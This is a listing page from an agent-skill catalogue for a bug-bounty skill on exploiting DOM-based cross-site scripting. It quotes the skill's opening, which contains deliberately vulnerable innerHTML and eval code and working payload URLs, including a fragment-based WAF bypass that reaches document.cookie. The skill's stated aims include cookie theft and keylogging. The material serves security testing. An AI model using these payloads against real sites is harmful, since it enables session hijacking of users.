Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/dom-based-cross-site-scripting-xssWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-based-cross-site-scripting-xss)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-based-cross-site-scripting-xss"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/dom-based-cross-site-scripting-xss/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/dom-based-cross-site-scripting-xss"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/dom-based-cross-site-scripting-xss.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.02010 |
| Opus 5 | $0.00026 | $0.01005 |
| Sonnet 5 | $0.00010 | $0.00402 |
| Haiku 4.5 | $0.00005 | $0.00201 |
Grade A, and why
dom-based-cross-site-scripting-xss scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to dom-based-cross-site-scripting-xss — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 177 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DOM-Based Cross-Site Scripting (XSS)
When to Use
- When auditing modern Single Page Applications (SPAs) built with React, Angular, or Vue that on client-side routing and rendering.
- When standard Reflected or Stored XSS payloads are caught by the server's Web Application Firewall (WAF), but the payload is processed in the URL fragment (
#). - To steal user session cookies, execute Cross-Site Request Forgery (CSRF) via XSS, or log keystrokes from a targeted user.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Understanding Source and Sink
// Concept: DOM XSS occurs when an application contains client-side JavaScript that
// processes data from an untrusted "Source" in an unsafe way, usually by writing that
// data to a dangerous "Sink".
// Sources (Where attacker controls input):
// location.search, location.hash, document.referrer, window.name
// Sinks (Where code executes):
// eval(), setTimeout(), document.write(), element.innerHTML, location.href
Phase 2: Exploiting location.search to innerHTML
<!-- Vulnerable application code: -->
<script>
// Reads from the URL Search parameter (?query=...)
let params = new URLSearchParams(window.location.search);
let userQuery = params.get("query");
// Writes directly to the DOM without escaping
document.getElementById("search-results").innerHTML = "Results for: " + userQuery;
</script>
<!-- The Exploit: -->
<!-- Navigate to: https://target.com/search?query=<img src=x onerror=alert(document.domain)> -->
<!-- The browser parses the `<img>` tag inserted via innerHTML. The image fails to load, triggering the malicious onerror JavaScript. -->
Phase 3: Exploiting location.hash (WAF Bypass)
// Concept: Browsers DO NOT send the URL fragment (anything after the `#`) to the server.
// Therefore, server-side WAFs cannot detect payloads injected into the hash.
// Vulnerable application code:
window.onload = function() {
// Reads directly from the fragment (e.g., #greetingMessage)
var hash = window.location.hash.substring(1);
if(hash) {
// DANGEROUS SINK: Evaluating a string as JavaScript code
eval("console.log('" + hash + "');");
}
}
// The Exploit:
// Navigate to: https://target.com/profile#');alert(document.cookie);//
//
// The eval function receives: eval("console.log('');alert(document.cookie);//');");
// The WAF never sees the `alert(document.cookie)` because it was in the `#`.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 177 lines · 52 tokens per session scan A ad99b1a401ff
dom-based-cross-site-scripting-xss is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 52 tokens to every session and 2,010 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to dom-based-cross-site-scripting-xss, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
dom-based-cross-site-scripting-xss
Identify and exploit DOM-based Cross-Site Scripting (XSS) vulnerabilities where malicious payloads are executed entirely within the victim's browser via insecure JavaScript execution, often bypassing server-side WAFs completely.
javascript-prototype-pollution
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dom-based-xss
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hunt-prototype-pollution
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hunt-nextjs
Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js…
detecting-xss-vulnerabilities-in-web-apps
Detect reflected, stored, and DOM-based Cross-Site Scripting (XSS) vulnerabilities in web applications using manual payloads and browser-based analysis inside isolated lab environments. Covers OWASP A03 injection and sanitization bypass.